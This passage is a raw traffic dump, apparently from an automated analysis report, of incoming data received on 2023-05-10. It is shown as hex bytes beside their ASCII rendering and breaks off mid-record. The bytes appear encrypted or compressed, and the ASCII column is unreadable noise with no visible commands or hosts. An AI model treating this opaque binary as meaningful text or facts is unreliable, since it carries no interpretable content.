2023-05-10 00:21:17 UTC	128	IN	Data Raw: 9f 3e 23 07 d0 17 01 8b 79 04 14 22 e2 33 3b 0c 9e d1 01 27 c6 d2 28 48 c7 30 a7 e9 6f 68 04 6a 25 83 37 c5 1f c0 71 07 00 a9 1f 31 b3 0a 68 a6 d1 3b 2f 4b 65 e4 3d b6 a1 dc 7b 79 0e 43 0d 41 3a af d2 71 1b 65 c1 27 ab 80 88 65 00 2d 45 33 08 66 6b 2c ba 91 b5 4a 2e 07 25 17 d6 fe 6e 9e 07 83 be db 5d ab 40 00 0e 08 6f e5 3f c5 9d d8 7b a3 8e 01 f0 ed 7f 2f 28 ca a8 70 9f 71 e0 7e 66 f4 6c ba b1 7e b5 a8 f5 01 ec 6e 54 42 3b 81 29 e4 7a 38 79 94 d3 25 d0 37 57 03 bf b3 5f 40 b7 50 9c 0d c5 ec 20 18 8f 81 94 37 71 ca c6 a6 f4 e1 26 dc 51 79 94 a3 d9 15 1b 58 58 78 99 2e 9b 95 48 81 84 cb f5 b4 f0 a9 26 5c 6d 6c cf 22 a0 0c b4 b5 31 ea 56 a3 72 05 31 86 68 a1 70 4c 49 57 96 4a 1a 1e 28 3b 51 19 05 71 65 21 e1 8c fc 7f 34 7d 26 44 61 23 5d 45 f2 e4 c3 60 e7 Data Ascii: >#y"3;'(H0ohj%7q1h;/Ke={yCA:qe'e-E3fk,J.%n]@o?{/(pq~fl~nTB;)z8y%7W_@P 7q&QyXXx.H&\ml"1Vr1hpLIWJ(;Qqe!4}&Da#]E`
2023-05-10 00:21:17 UTC	144	IN	Data Raw: 9d 59 f5 c1 bb b3 a0 27 a9 d7 c5 96 c0 73 dc fb 6b 4e a9 20 d7 50 fe 9c 0a 0e e2 38 ca d9 fa 0a 44 97 6c e8 94 03 3c 6d cd 60 6a 9f 06 64 99 01 2f 49 79 59 d2 75 87 22 23 7c a7 fe 9d ff 92 84 f2 a5 54 f8 e3 63 09 1f 0d 7e bb 6a 49 fd 45 10 2c 71 2f 31 5e b2 1b cf c1 01 9c d4 d9 9f a5 73 29 69 00 41 f0 66 2a 10 ac 8d 1d ac fe 01 fb 7a 87 f1 6f 01 d1 a8 6c 17 1b e4 d2 ce 8f c0 e4 5a fa 9f bb fa 76 99 bd 6f 93 9d fc f4 20 01 73 26 5a d1 88 14 7e 7f 62 af 53 4d e6 a9 83 12 fd 8a f1 34 06 ce fd 8c b8 c4 e1 e2 99 f2 6f ef f6 6d d3 ce 92 ef 3f f3 7a 66 f2 00 90 8e 91 76 29 c4 9e 24 ee 19 76 cd d4 77 bb 73 dc e1 d2 5e 1c 6f d2 a5 90 a0 dd fa 0b 4d 43 9e f1 eb 67 e9 1d f1 00 ab d5 e9 cf c2 71 70 56 dd 57 b4 f2 76 23 84 e1 cd a7 b9 c1 ef 8d 0b 43 4c bd df 5b cd 2a Data Ascii: Y'skN P8Dl<m`jd/IyYu"#\|Tc~jIE,q/1^s)iAfzolZvo s&Z~bSM4om?zfv)$vws^oMCgqpVWv#CL[
2023-05-10 00:21:17 UTC	160	IN	Data Raw: 18 a3 9d 0b d9 de 19 94 7b 1c f6 9c 4e ee f7 ee 1e e4 42 d2 8a df e9 39 31 23 8a 33 ff b1 45 b0 2c 89 44 ef 15 61 e2 68 31 b9 22 63 de fe a3 dc a2 d6 1f 3d 77 d0 1f 6d a2 42 e9 22 7a a8 c9 25 a3 f8 0d 50 ef ba 8a 3a 50 4f b7 cb 6c 17 d4 b5 7c b6 38 f0 43 94 19 ce 33 56 5b d8 40 42 54 30 4c 17 54 bd 77 ed d4 ff 8c 00 ac d2 ba c4 74 3e 46 c7 3f 31 38 6a 8e f0 99 85 5f 09 28 4f ce c7 f9 f9 cc dd 10 2e 7a 63 32 30 88 9e e8 b1 6d 1c 78 f9 46 15 e1 45 1e ba af fe ca c8 5f db fd 85 4a 52 b1 93 91 70 ec dc da d2 d1 be f6 e6 36 39 d6 ee 64 57 1b f6 8e 15 84 62 8c 79 53 e7 00 f3 39 5c fd d2 4e 94 e6 b2 e8 79 46 9e 2d 2e eb 8d 74 0a aa 85 c9 85 67 a7 51 37 b9 1c f3 67 ed ec 94 42 58 7f 7a 4a 8f 96 ea 86 dd 6d 8e f7 0a 24 32 10 a8 c4 9a 11 72 b5 7e 30 fd d0 21 be 93 Data Ascii: {NB91#3E,Dah1"c=wmB"z%P:POl\|8C3V[@BT0LTwt>F?18j_(O.zc20mxFE_JRp69dWbyS9\NyF-.tgQ7gBXzJm$2r~0!
2023-05-10 00:21:17 UTC	176	IN	Data Raw: 40 4b d8 bc ec 13 e4 9f df 54 d0 c3 5b d4 fe 01 b5 6d b4 ee 84 10 04 71 fe e6 77 f9 e3 d6 44 0b 50 e9 a6 f4 ea 40 9d d9 3e e2 4b de 54 ea 7a 96 4a 3f 3e f6 80 83 01 06 81 3d 74 35 bd b4 b9 7a 34 07 c9 bc ed b9 ff 08 a6 bc c3 34 6f 9b 02 69 5f 0a 7c ed 30 04 f9 54 3f 73 d3 a9 a7 c3 fc e5 d4 d2 0d 2d 7a 72 dd ab 1f 7e 2c 0e 78 2e 84 bc 88 a9 fc 77 ce 52 a9 a7 61 25 c2 84 2b 60 b8 9b 98 18 02 d8 95 f4 b4 17 b1 65 6a 92 6c 16 e5 36 b3 e2 0b 43 57 47 9c 34 0b 09 2d f6 46 b0 3a 1a 33 3c 04 cf 6f 70 d5 a4 62 eb 1b d8 fc ad 9f 81 64 df ee 90 53 84 f0 c3 0c 6d fd 1a 50 44 ea 1b 7c 7f 7b e2 fa 6a 99 75 e9 42 cd 35 7a 51 a4 52 ac 08 c0 43 df 26 e9 4a e5 87 ff 61 8e 24 f2 a5 03 20 19 de 1a db 3a af 01 aa 34 79 71 28 31 d2 e5 c2 6b af 48 1e 34 f1 87 d5 4b f9 90 90 a0 Data Ascii: @KT[mqwDP@>KTzJ?>=t5z44oi_\|0T?s-zr~,x.wRa%+`ejl6CWG4-F:3<opbdSmPD\|{juB5zQRC&Ja$ :4yq(1kH4K
2023-05-10 00:21:17 UTC	192	IN	Data Raw: 3e da d0 d0 3e 2c 80 63 93 01 51 fa d3 5a 71 ed 73 ad cb 65 4c 5c ac 17 0b a6 e1 af d0 38 8d 15 a9 1b 61 cf 10 38 8c 88 0b 73 40 91 7a 1b d2 cb eb 06 f4 cf f1 53 b6 f1 0d cf e0 c3 43 da 60 41 3f f4 e4 8c 6a 54 6a f6 5a 12 e6 9f cd ca 0a 4a c9 ea 33 df 6f 64 06 72 ba 55 fe 0b 06 6d 6c 79 c5 c6 fb 06 5e e3 bd 1b 42 0d c0 98 28 aa a5 8d 25 46 63 01 90 90 f1 8c 16 52 6e cc 76 43 4e f7 3b 5b 87 87 5b 1c dd 37 93 29 1b 62 1a d1 97 26 9c 84 90 5e 43 b6 53 ea eb 2a 84 1d fd 9b 18 34 f3 ce bc 61 18 46 f6 1a f8 e7 fd 16 ad 4f 42 b5 9b 1b 75 13 1a 31 c7 92 29 4c 28 2e 44 34 ad cb 3b 76 86 9b 01 27 23 51 7a 6e ee 52 7c 30 f0 22 3f 4f 92 5b d4 4b ac 38 66 45 7b 6f 25 2e 9a e0 40 3c f4 39 cc ba c0 98 d2 a2 56 be 0a 8c d6 b0 4c 11 a2 fa 32 08 13 37 73 40 44 d6 93 40 96 Data Ascii: >>,cQZqseL\8a8s@zSC`A?jTjZJ3odrUmly^B(%FcRnvCN;[[7)b&^CS*4aFOBu1)L(.D4;v'#QznR\|0"?O[K8fE{o%.@<9VL27s@D@
2023-05-10 00:21:17 UTC	208	IN	Data Raw: 7f 66 54 a9 bb 9e ca cb b7 c6 29 87 71 cc 4c f6 00 a0 da 01 30 d8 1e 35 ce 15 c0 4c 33 76 74 f6 a9 64 71 58 55 3c 54 75 d0 b0 18 d6 ff bb a7 c9 98 1e 1d 1b ce 4f 7a bd f0 38 e3 d3 59 0a e5 ad ad bd ed 5d 5b 76 f0 85 ce 28 fc 08 ae 8a 00 56 36 56 f3 ea c6 c7 8f cd be 49 30 1f 87 6b 0d 96 4e dd d7 c3 52 e2 ad 04 aa 21 ad 36 6f 66 88 15 ff e9 45 2a 73 95 fb 36 57 11 65 20 ec 3d c6 23 4b 33 58 ae 39 41 6c c6 0f 12 4f f4 e9 e8 0f 26 b8 7d f4 07 be 0c 5e 5c 80 b9 d1 48 4d e5 00 08 30 ce 5b da fd c2 7b 80 12 c7 5e bf 74 57 f1 37 72 4a d0 6e be 21 57 7b 22 8c c3 74 6d 19 0c 61 15 3a 8d d7 e2 47 12 03 fd 92 50 87 ac 7d 57 c3 d8 2a 86 e3 7e 95 32 7d ed 55 f4 c7 65 b0 ae f5 96 f7 5f 6e 60 1b bb 18 da 80 d7 0d 40 2f d2 6e 8a 01 c9 cc d9 b7 46 bd 43 92 42 70 a2 7d b6 Data Ascii: fT)qL05L3vtdqXU<TuOz8Y][v(V6VI0kNR!6ofEs6We =#K3X9AlO&}^\HM0[{^tW7rJn!W{"tma:GP}W~2}Ue_n`@/nFCBp}
2023-05-10 00:21:17 UTC	224	IN	Data Raw: fe a7 ed 69 0c 99 7e 18 62 e8 ef b1 b4 f6 b6 47 23 63 6d ab 12 b3 4a 58 1e d1 51 15 34 69 8e 4d 55 33 8d ee c7 9b 11 bb 2f ce 9e 17 2a c1 c9 af 49 65 10 2b 58 c1 07 e5 d7 e2 9c f0 9d 2b 24 e3 30 7a 7c e2 ce 90 f4 64 5f e3 99 27 fd ba ab 7d 99 a4 90 d8 2e 8a 01 56 80 c7 5d b0 1e fd 75 e1 5f 18 98 e6 b7 12 0d ac e6 cb 31 85 07 06 30 89 13 bc 59 e4 a9 06 78 64 35 31 83 33 1a ab 48 38 d5 01 e7 f3 72 2d c5 5f a2 d2 6a 79 76 b2 a3 69 49 2b 36 4c 39 4a 0f f9 c6 de 14 bf 36 00 c4 f4 e3 ad 5f b8 f3 29 ab 62 a4 6a f7 a5 a1 c1 33 72 cb 6b 86 42 94 55 7d 27 f6 f9 57 3d 04 b9 c9 28 ab bb ee 2e c4 78 14 19 c4 b5 8e 8b 08 84 f4 dc 8b a4 6a 7f f8 1b 4e 09 fb de 93 eb af f9 30 77 7d d1 53 0c 92 7e 93 98 7f f6 0e 07 42 5e 3f c5 81 2d a8 6a 3a be 08 23 4d ee 67 d1 5a 41 f5 Data Ascii: i~bG#cmJXQ4iMU3/*Ie+X+$0z\|d_'}.V]u_10Yxd513H8r-_jyviI+6L9J6_)bj3rkBU}'W=(.xjN0w}S~B^?-j:#MgZA
2023-05-10 00:21:17 UTC	240	IN	Data Raw: 55 c8 11 ee 4a 75 32 0c ab 3e d0 e1 e7 d8 1f e2 c5 df 3e 24 be 38 b9 0e 27 d7 09 d8 5d 3e 30 24 2c 8e 48 a3 02 43 d1 84 ab 10 18 4e 7f ef 8a 10 e5 d1 be 95 df 6c b2 03 0c 99 c9 83 16 3c 19 9b b6 a8 bd ad 77 16 3a 68 a1 ee a9 d5 5f a7 7e 19 a3 c0 60 16 5e bc bc 36 58 1b bc 86 40 29 04 df 3f b3 56 3b 54 e8 20 08 22 cb c3 8f 23 16 27 6c 71 e4 ca 60 fc b2 91 9f b2 01 ac 6c f8 ab 65 69 e9 e4 6a 1f ab 57 cc 98 12 24 03 35 3a 29 a3 d0 28 c5 4a 06 8f c9 c5 84 57 b4 98 82 db 77 6d af a2 18 6d d9 c9 c5 d3 f1 ca f0 28 07 50 e7 d3 c6 68 20 ed 02 8d b5 95 74 52 44 1d 74 2a b4 28 ba e3 a0 28 34 9e 16 b7 d0 75 6b 6d e8 95 6e b8 c7 6a 40 a6 c8 86 36 2a 5f 67 06 ae 5e fe cc 76 67 10 3f 62 e9 0b 83 e0 4f 9d d5 4b 2c 8f 4b 7f b4 5d d5 df a3 67 a1 2d ab 05 c4 1a dd 3b 52 90 Data Ascii: UJu2>>$8']>0$,HCNl<w:h_~`^6X@)?V;T "#'lq`leijW$5:)(JWwmm(Ph tRDt((4ukmnj@6_g^vg?bOK,K]g-;R
2023-05-10 00:21:17 UTC	256	IN	Data Raw: b4 df 70 b6 a7 e3 d6 51 c5 c7 c8 7d 91 02 66 db fe 51 1f b3 6d 79 68 d6 42 b4 45 0a df 7c d3 38 43 83 ca 01 5f c3 c4 2d 44 9b 3b ee 4d 0f 5f 73 a7 db 48 19 eb 6f e2 6d 45 65 3f d4 a2 9f 22 b7 88 7d 77 63 47 92 44 25 3a 7a 76 9e ec f5 82 76 4b ec a4 74 f6 f5 15 4d 05 86 f2 ed 84 91 b0 87 83 37 76 f7 43 d4 e0 16 96 e0 59 28 86 76 c5 ce ff c6 0e 0c 35 07 15 ef 3a 38 c7 7b ab 76 ec c9 e1 14 cb 37 02 5b ee 56 fd 77 58 d7 85 af 7f 4e 07 cf 85 35 bf 94 61 d6 4d c9 b5 9a 42 c8 02 37 ad 7f 95 d6 ed fb c5 75 65 d8 2a 37 a4 94 9f 83 83 85 40 69 7d 05 7d 2b 92 8e 8e 4f d0 ce c5 95 ec fa a1 23 1b f3 d3 81 ff 4c 36 52 25 20 e4 9e 06 d5 eb 57 5f 56 84 50 c6 6d 1c 60 86 21 85 9b 9c ab c4 ec c6 91 e4 7c ba df a0 64 a2 e8 a8 f5 64 f2 5c bd 72 3f 84 a9 8e 09 9b a0 b9 bb 5e Data Ascii: pQ}fQmyhBE\|8C_-D;M_sHomEe?"}wcGD%:zvvKtM7vCY(v5:8{v7[VwXN5aMB7ue*7@i}}+O#L6R% W_VPm`!\|dd\r?^
2023-05-10 00:21:17 UTC	272	IN	Data Raw: e5 b7 66 8c 92 c9 42 c8 f5 de 17 59 6a 4e ab 68 42 74 06 81 36 63 10 2e 33 64 ab 23 a1 f4 83 5a 00 61 b5 4c 56 d2 ac 34 f7 30 21 cf a3 30 2b f4 0d d4 18 6b 84 98 fb fc ac 7a 97 fb f2 c6 5b be 92 49 dd 30 34 c7 41 df c2 b0 43 67 f9 6b de 56 54 a4 08 9a cf 11 c1 94 28 d0 ed 7d b9 90 61 7b 84 7c fe 67 9f 18 bf 62 0b 3b f1 9c 0c cb e3 7f 7e 6c ba a2 a9 5b c5 f9 a0 2c 86 be ba e5 32 ae ad 6b 86 ae e2 75 53 f9 87 ff 54 65 20 72 d6 98 7a 2b 32 c0 5f 9f 0b e8 75 46 2f da 26 b9 62 f1 da 51 bd 67 b4 2a 0b 67 1a 85 df 75 68 f8 cb d4 11 4b 06 e9 d6 a8 d8 cc 25 d8 e1 7c 78 60 d7 8e ea 17 5e 92 e7 e3 15 8e 48 23 25 da 1e 85 f0 6c ad 6f 70 97 b1 f1 71 10 10 38 41 b8 5e 25 cc f9 8d 6c 4a f9 4b 0f 3d a9 f6 3b f9 90 da 36 88 66 f3 98 ad aa f5 6b 3d ec 60 60 2e 20 e6 0e e2 Data Ascii: fBYjNhBt6c.3d#ZaLV40!0+kz[I04ACgkVT(}a{\|gb;~l[,2kuSTe rz+2_uF/&bQg*guhK%\|x`^H#%lopq8A^%lJK=;6fk=``.
2023-05-10 00:21:17 UTC	288	IN	Data Raw: b8 2b bf 20 9f 5f 93 27 32 9d da a9 05 38 b3 32 d1 c9 98 4d 55 70 38 3b 48 35 fc 7d cd 11 09 b2 16 73 b5 85 60 ce b5 4e c1 14 ca b7 d5 a6 e7 85 08 3f 7f d1 35 77 13 49 f7 49 fa 56 68 f6 fc b6 64 e6 19 e3 08 22 d0 40 57 e0 96 e3 1c e9 d3 30 0d 9a 8d 07 99 77 d8 1a 64 5c fb b7 13 a5 a8 7a c2 82 2d 20 28 1f 35 1f f7 40 de 95 4b 67 cb 80 8d 08 80 3a 2f 13 22 f7 cc 06 55 ef 74 e6 4f 07 f1 07 cf c2 c8 dd e5 b1 7e 9b fa 34 f1 ba 67 21 f5 6a d7 e1 ec 1a 99 e8 62 35 0b b0 a1 2c 06 ec c1 c8 98 8f a7 e2 4a b6 45 be be e5 9d 5b 84 eb 64 f3 16 a5 2d 74 45 17 d3 ee d9 76 93 be 24 1f 6a 2d 27 26 69 31 8a 68 9f 1b a4 27 31 00 20 b9 91 d8 c2 be 3e 3e 7e df ae f8 e8 01 f0 e3 44 da 02 99 6a f8 3b d8 a3 20 e5 e8 dc 06 6c 66 0f da 23 10 ba a0 59 59 8d 16 5a f5 6b a4 23 b2 c3 Data Ascii: + _'282MUp8;H5}s`N?5wIIVhd"@W0wd\z- (5@Kg:/"UtO~4g!jb5,JE[d-tEv$j-'&i1h'1 >>~Dj; lf#YYZk#
2023-05-10 00:21:17 UTC	304	IN	Data Raw: 34 32 2e 9e bb c2 05 19 46 c8 83 c2 ac 47 71 f9 30 47 c1 d6 b5 6b f3 1c 4a 75 96 a2 03 4b ad 4c 31 2b 89 67 4a fc bc b2 77 5c 39 e5 1f b2 17 6a 7c da 55 18 f3 62 29 a0 3a 59 cc ae 41 40 21 15 38 56 c7 17 56 4b 26 db 95 d6 e1 75 3c 17 84 7a a7 74 ac d5 0e 62 d6 30 66 8d 4d 3f 70 53 2a 5a 0b 68 07 f3 ad ae 62 21 69 39 d6 e7 d8 4a e2 45 bc 91 dc b0 0d 4a a9 02 a0 04 d5 f1 ad 24 ac 51 db e9 5f 4b 86 e3 70 02 9b 85 45 8e b1 4a 27 30 ab 51 65 10 fc fa 31 a7 bb 1c 52 0a 20 45 ab 3e 78 20 42 6d 26 81 8b 4e cf 5e f3 90 b3 50 a6 58 28 ad 4b 61 fd 50 44 94 de 29 2a 5e 42 56 c0 e6 47 75 be e5 dd 14 8d 30 dc 7c 46 5c 5c 85 2a 0e a2 f6 ac 32 80 64 24 61 b9 bd bc ae b0 9e 4d 29 fa 9c a7 59 ca 7b 7e fe 9f bd 48 cb fd 20 c1 14 2a 2f 63 1b d1 1c 22 cc e3 5b a8 ce 3a 08 0d Data Ascii: 42.FGq0GkJuKL1+gJw\9j\|Ub):YA@!8VVK&u<ztb0fM?pSZhb!i9JEJ$Q_KpEJ'0Qe1R E>x Bm&N^PX(KaPD)^BVGu0\|F\\2d$aM)Y{~H /c"[:
2023-05-10 00:21:17 UTC	320	IN	Data Raw: 59 f2 4c ec b1 84 b4 2a c5 4c 6b ee 0b 33 b3 34 69 ae 9e 35 82 d4 08 01 bd cc a5 68 a3 1c 45 e7 69 0e d7 4b 84 84 fa ce 0c 0a 39 f0 70 0f 39 c4 c0 a3 be d7 7e aa 11 5c 35 f4 ee 5d 78 21 bb 26 58 2c cb f5 5b f1 34 84 29 3a 55 23 5e b3 91 cc 07 37 3d df 0f 6a 6f 6f 3a 77 a7 95 f5 a9 c7 b9 be 51 d4 22 ef 0b fb 14 37 20 60 6e 95 9a e1 06 d8 75 f1 9d 0a 86 77 69 b7 2f 18 e0 ba 42 56 85 46 ab 85 f4 b4 c3 08 61 01 d4 15 5b 15 6e c8 de 6b ab f8 95 fa 3b b3 69 fd ce 5d 55 ac 96 7d 2a ea ae 33 89 e3 8f 51 6d 1a 9f 65 a7 9f b5 6c 87 5d 95 c4 05 e2 41 a7 5c bb 6d a2 2e bc 28 2c a0 07 1f 8d b7 df fa ec c9 46 64 20 4e b9 2d cf 00 23 e1 77 67 5a 88 db a2 e4 cc 99 46 8a cc 02 11 fd 06 58 ac 47 51 2e 3e 16 52 74 99 d2 6d fb c9 18 3a ea b7 ae 65 ea 3d 3c 26 19 73 3d e5 0a Data Ascii: YLLk34i5hEiK9p9~\5]x!&X,[4):U#^7=joo:wQ"7 `nuwi/BVFa[nk;i]U}3Qmel]A\m.(,Fd N-#wgZFXGQ.>Rtm:e=<&s=
2023-05-10 00:21:17 UTC	336	IN	Data Raw: 87 db 3e e9 b1 52 2f 10 d7 89 1e 1e a0 a0 53 95 fd 3a ba f8 47 02 b3 4b 50 ce f6 d2 3b 77 73 f1 9b 6d 44 63 1a 93 d6 4a 44 62 09 43 92 03 41 42 2d 36 1d 43 52 72 b9 59 25 80 35 85 9d f3 33 7e 99 a4 36 80 ec 26 f5 2e 26 54 c7 4f 60 d6 d4 5a 94 fe b0 ac 02 60 fb 88 04 fc 45 77 26 17 d4 6b de 39 d0 92 72 0f dd fe 26 a1 93 56 ed 02 08 09 63 cd 3e 1f c4 9e cb c5 38 6c 2f fa e4 b3 30 22 bd b5 03 b4 d0 94 13 d9 1e f8 47 2e 4c 15 5d f0 36 cd d5 76 2f 39 11 d4 68 4b 96 a4 76 22 5e 32 96 2b 92 3d 9c 47 a5 c5 31 d5 b7 d4 cd 76 82 2e 61 05 58 49 95 e2 3b 95 fd 95 a5 48 d9 d0 d3 a4 f8 b3 5a 61 ea 57 0f 1f ff 68 2e 9d f0 3b a4 ed e0 b7 a8 58 d2 e0 61 65 95 1e 9f 66 ff 56 c3 3d a2 41 eb 35 ef 0a 97 63 8e b3 ec 0b 83 e9 e3 95 3b d4 f6 8a 41 75 f2 20 68 c8 b0 29 2c be b2 Data Ascii: >R/S:GKP;wsmDcJDbCAB-6CRrY%53~6&.&TO`Z`Ew&k9r&Vc>8l/0"G.L]6v/9hKv"^2+=G1v.aXI;HZaWh.;XaefV=A5c;Au h),
2023-05-10 00:21:17 UTC	352	IN	Data Raw: e4 ab c1 f6 81 4d 80 74 e1 da 89 6a e7 ee 72 67 f8 65 cb 95 6d f6 3b ed 52 d8 b7 59 8d 25 08 35 b6 7a c6 5b 0a dd 4d 84 3f 08 cd 5e d6 29 88 36 8e 8a 60 cd 93 8d f2 cf fa 5d 77 d5 c2 97 49 74 3c 66 86 92 1d d7 a6 f5 6a c2 91 40 4d 91 36 e8 14 9b 58 04 44 51 2c bf 2b f8 87 4f e8 09 b6 2f 6d 82 f7 46 2f ab 02 0d e1 b8 39 9e c2 20 b8 10 36 92 c8 35 83 20 61 96 b5 04 82 a2 16 61 18 5a d5 7b 36 0d 2a 91 97 51 64 0d 74 a4 a5 bd de 05 d3 a5 90 d5 35 6f 23 34 b4 da 58 eb eb 5b 64 4a 42 8a 7c e1 93 10 41 3a 65 c4 33 2b c5 92 a7 a9 e7 0d 53 26 d2 6e d1 bc 9e 8a b3 23 62 90 c2 9a f1 3d 87 7f c0 9e 23 06 00 dc 34 be ca 9a 5a 24 8c 84 e4 f4 42 cf 0f 59 b1 7a 61 45 19 2a 2f 93 d3 5b d9 b4 4d 95 67 6d 16 4e 39 1c de a7 23 8e db 7a e2 ac 57 58 b8 6b fe b6 c4 2b 9b 59 8d Data Ascii: Mtjrgem;RY%5z[M?^)6`]wIt<fj@M6XDQ,+O/mF/9 65 aaZ{6Qdt5o#4X[dJB\|A:e3+S&n#b=#4Z$BYzaE/[MgmN9#zWXk+Y
2023-05-10 00:21:17 UTC	368	IN	Data Raw: 72 2d af d2 e8 bd 8e 95 94 f6 33 28 ed 4f 44 83 53 2f 35 0f 3a ef 19 ae bf 70 30 a4 0a ae 71 63 27 3c b9 0d 51 3f 74 80 22 41 94 70 2e ea 36 55 e1 b1 a9 0d c7 e6 58 48 5c 76 53 37 e1 7c bd 6e 9e 69 34 b5 fa 31 f7 4c 84 04 0e 73 f7 eb 7c 4d b4 5f 36 03 74 98 3f 23 60 77 4a 33 72 5e 11 c1 43 f5 cf e8 2f 41 e2 4c 0c 1b 5c 59 a9 a3 f4 d1 0f d0 e0 91 21 bb 3f 2e f8 ac ae de 83 bd 1c a7 a4 ab ec 8c c4 ee 8f 9e b5 2b 99 b6 48 b9 ed cb 67 4b f6 fd 84 4b b7 fe db ef 19 a8 37 0b 09 35 94 25 28 7d 2f fa 86 db 56 c1 c8 14 3a 0b f1 e5 f8 27 f8 6b e9 03 9f ec 42 ba 5b d7 67 71 b8 c8 ef c1 39 70 50 ad 99 94 e2 63 5c 9b fa 0a 43 cc 86 98 73 6b 39 0c c5 e1 dc f3 12 1a c9 b7 18 3f 9e 3e 66 14 19 c2 5c ca ff 49 d2 4a ab 7a 22 e8 c5 40 c8 7c ba 6a 7a d0 79 fb 14 43 6d 37 73 Data Ascii: r-3(ODS/5:p0qc'<Q?t"Ap.6UXH\vS7\|ni41Ls\|M_6t?#`wJ3r^C/AL\Y!?.+HgKK75%(}/V:'kB[gq9pPc\Csk9?>f\IJz"@\|jzyCm7s
2023-05-10 00:21:17 UTC	384	IN	Data Raw: 6c b7 0d 5d 46 3d 82 fa 42 1e d6 8c d1 3a 37 b8 2d 29 07 2e ad 5b 6c f2 9b 5c 69 ab 10 46 4b fe 1e f5 4c 42 ed 0d cc fa 53 fc 84 6c 8d 18 21 cf 32 04 e7 d2 de 8a 96 e1 ab 88 b5 0a 46 c4 93 22 7e 08 51 bb 3d bf ba b7 27 20 f0 08 e6 3c 40 59 1e 45 6d d3 80 d9 49 40 94 d2 d7 55 5b b4 7f f3 4a 17 54 25 22 6a 92 88 9d 86 18 33 04 bf c1 cb d1 8f 1c d1 79 72 8d 5c 6e a7 0b 6c 92 91 77 56 20 f3 fc 16 e3 20 28 dc a2 21 2c de bb 4b 51 e6 0c 90 88 0e ce ac a6 b4 68 b3 e1 f6 2d 67 89 5f a2 cc 24 1c 69 b6 00 69 51 53 e3 9d f1 52 17 87 9e 46 fe 77 2e 39 52 f1 20 a5 f0 2a 61 18 e1 3d 10 bd 5e bd 1c eb 81 1c 48 32 25 c7 65 75 c6 6d a2 32 ed eb 68 68 cb 93 33 ee 43 b0 db 44 75 bf e2 2f c0 99 0d 3a 7f 69 84 08 1b 9e 3a f7 5d ea 99 54 d3 3a 61 f1 ce 7b cd 1c 86 f5 a6 d3 f5 Data Ascii: l]F=B:7-).[l\iFKLBSl!2F"~Q=' <@YEmI@U[JT%"j3yr\nlwV (!,KQh-g_$iiQSRFw.9R *a=^H2%eum2hh3CDu/:i:]T:a{
2023-05-10 00:21:17 UTC	400	IN	Data Raw: 34 59 b8 97 c7 42 62 5a 55 7c fd 56 bf f2 c1 92 12 52 7c 49 33 8f 19 f4 fc 7e 85 0b 2a 18 94 dc a9 cc f6 02 f8 77 e9 01 1d 42 af f8 63 cb d6 e0 3b 78 ea 69 2e 81 70 e6 55 9e ff d4 0d 8e 7b da fc 4a 73 02 08 df 7b f8 8c d4 5b 6d 10 a4 8d 01 70 be c4 57 fc f3 6d f8 69 36 92 5d 6c 32 63 91 4c 59 1d 17 35 bd 15 56 5b c2 e8 99 18 1a ba 30 de d1 1e 76 dc 27 20 dc ca b5 46 c3 6b 7e 31 23 fc 03 3f 0e 26 32 04 d8 d7 8b 22 48 74 ed 7a fb 01 8f f0 49 ff a5 9f 2d 0d ff a5 63 7e 8d 00 6c 72 d9 70 16 a0 8f ba b7 c3 e7 1b c9 e3 b4 b7 d3 9e dc 46 c9 b3 f9 1d 40 82 ed bb 57 52 fc bf cd 33 93 02 5b b7 bb 6d f4 0e 8d d3 e6 0e fa 03 b2 d0 3d 6f 7e 4f cb 5b f2 0f 5f 77 a1 4c 1e aa eb 19 ad 59 4b 7c 77 3c d7 77 27 67 86 54 92 54 ee e3 38 61 3d 9e 22 76 84 5c bc 74 2e 10 0f 3e Data Ascii: 4YBbZU\|VR\|I3~*wBc;xi.pU{Js{[mpWmi6]l2cLY5V[0v' Fk~1#?&2"HtzI-c~lrpF@WR3[m=o~O[_wLYK\|w<w'gTT8a="v\t.>
2023-05-10 00:21:17 UTC	416	IN	Data Raw: d2 da 74 88 78 e6 ce 5f 67 f2 d5 b9 a9 d9 31 7f 76 1d e5 1e 06 80 2d fd 2d 41 25 d2 08 68 09 b4 4f ba b4 6b 70 29 71 94 e6 fe e5 e9 c1 4c 13 73 48 92 77 f8 99 ba 29 44 01 24 22 7d 3d fa 2a 3c b1 e7 64 35 a7 7b e8 b1 cd 41 65 13 9f 4c 4b 90 dc 56 7d 6f de d6 f7 d4 c1 94 97 8c 84 ed b9 67 0e e8 51 1e 72 e5 46 d4 db 54 9d c7 92 da 75 db 3d 96 27 0a 60 5b fe 22 60 ad 38 94 69 bc 15 f2 f1 84 d1 8b 92 64 ce f2 17 b5 03 3a 04 03 2f dc c0 b1 bb e1 73 50 02 c5 0d 23 5d 6a 6f 66 21 62 9d 96 b7 02 61 e2 70 64 1b f7 a3 e4 19 29 3a eb 47 4c d6 4a 01 97 bf 25 19 0b 09 db b3 dd 1f a0 b8 d1 9f 1f 9f f6 f4 2c 20 4f c9 dc 00 67 c1 a8 00 ec 46 18 9a 29 aa fa b9 85 e9 9f ab 52 af bb 2c 5a dc 84 2c 9d bb 7d ff dc 09 af 2a 49 a9 c5 85 65 e8 e3 68 eb 61 b5 1d 65 d3 09 6b 86 b2 Data Ascii: tx_g1v--A%hOkp)qLsHw)D$"}=<d5{AeLKV}ogQrFTu='`["`8id:/sP#]jof!bapd):GLJ%, OgF)R,Z,}Iehaek
2023-05-10 00:21:17 UTC	432	IN	Data Raw: 04 68 46 79 9b 89 87 ac ba f1 e2 ee 00 9d 12 97 42 73 88 0a 2d b2 33 ff e6 51 d2 dc 43 7c f5 a9 15 fa 25 2a 84 01 ba 3f 99 a7 39 08 96 9b e9 34 f3 c9 f1 56 b8 aa 54 c4 7b 56 fb f9 a4 27 ea 14 7f 43 df 30 10 93 6a cd db 22 0a 46 c1 f1 ef 7f 58 c1 fd 21 09 23 33 19 86 eb 6a 7d 9c ab 02 e4 c5 9b 60 d3 87 a1 31 f6 d5 31 9c ea 4b b9 45 92 d5 29 8c 68 f4 14 fe 11 eb 9d c8 e8 fb da 41 c8 a8 8b 82 27 da 23 a1 9e 8d fd 69 fb 88 93 fd 0a 7e 94 b6 c9 e1 9b 56 7d c8 0c af 82 bc 70 db 6d 9f d4 3b b0 a6 09 ff 2f 3b f5 de e9 09 8c 73 44 50 31 b3 74 b0 84 e1 99 56 d8 74 89 b9 c2 a4 4b 74 f5 22 7e 03 e4 8e d9 97 50 a6 04 56 c7 fb 05 56 6a 31 19 03 98 7c 28 5b 7b f3 e2 3e 5d aa 7b 11 65 4b 54 08 ab 1f a5 4f d9 85 be e3 86 42 